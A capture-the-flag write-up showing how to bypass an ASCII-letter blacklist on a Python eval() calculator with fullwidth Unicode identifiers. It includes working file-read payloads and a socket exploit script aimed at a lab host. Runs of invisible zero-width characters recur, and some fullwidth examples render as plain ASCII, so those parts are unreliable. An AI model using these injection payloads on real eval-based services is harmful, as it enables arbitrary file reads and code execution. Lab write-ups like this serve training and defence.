← Back to Writeups
CUSTOMEasyMisc

Безопасный калькулятор

XESXOR9/10/20262 min read
#misc#custom#easy#blacklist_bypass#fullwidth_unicode#python_eval_injection#unicode_normalization_bypass

Безопасный калькулятор

Platform: hackerlab | Category: Misc | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2025-12-25 | Status: Solved Techniques: blacklist_bypass, fullwidth_unicode, python_eval_injection, unicode_normalization_bypass

Summary

Task: Python calculator service using eval() with ASCII letter blacklist. Solution: Bypass the filter using Unicode fullwidth letters which Python normalizes to regular ASCII identifiers.

Безопасный калькулятор — hackerlab

Description

"Я вроде пофиксил уязвимости, что были в прошлой версии калькулятора..."

A Python calculator service that uses eval() for computations but blocks all ASCII letters (a-z, A-Z) as a security measure.

Analysis

Vulnerability

The blacklist only checks ASCII letters, but Python accepts Unicode fullwidth letters as valid identifiers. Fullwidth letters (U+FF41-U+FF5A for a-z, U+FF21-U+FF3A for A-Z) look visually similar but have different Unicode codepoints. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why This Works

Python 3 supports Unicode identifiers. When parsing code, Python normalizes Unicode characters, so:

  • open (fullwidth) is interpreted as open
  • chr (fullwidth) is interpreted as chr
  • read (fullwidth) is interpreted as read

Bypass Technique

  1. Convert function names (open, chr, read) to fullwidth Unicode equivalents
  2. Use chr() to build the filename string without ASCII letters

Solution

Payload

python
open(chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()
# Equivalent: open("flag.txt").read()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

python
#!/usr/bin/env python3
import socket

def to_fullwidth(s):
    """Converts ASCII letters to fullwidth Unicode"""
    result = ''
    for c in s:
        if 'a' <= c <= 'z':
            result += chr(ord(c) - ord('a') + 0xFF41)
        elif 'A' <= c <= 'Z':
            result += chr(ord(c) - ord('A') + 0xFF21)
        else:
            result += c
    return result

def str_to_chr(s):
    """Converts string to chr() calls with fullwidth function name"""
    return '+'.join([to_fullwidth('chr') + '(' + str(ord(c)) + ')' for c in s])
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Connect to service
s = socket.socket()
s.connect(('192.169.2.100', 10001))
s.recv(4096)  # Get banner

# Build payload
filename = str_to_chr('flag.txt')  # chr(102)+chr(108)+...
payload = to_fullwidth('open') + '(' + filename + ').' + to_fullwidth('read') + '()'

# Send and get flag
s.send(payload.encode('utf-8') + b'\n')
print(s.recv(4096).decode())

Alternative Payload (via builtins)

python
# If open is blocked, you can use:
getattr(getattr(__builtins__,chr(111)+chr(112)+chr(101)+chr(110))(chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Unicode Fullwidth Reference

ASCIIFullwidthCodepoint
a-za-zU+FF41-U+FF5A
A-ZA-ZU+FF21-U+FF3A
0-90-9U+FF10-U+FF19

Related Techniques

  • Unicode Normalization Attack — using different Unicode representations of the same character
  • Homoglyph Attack — visually similar characters from different alphabets
  • Python eval() injection — executing arbitrary code via eval() ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍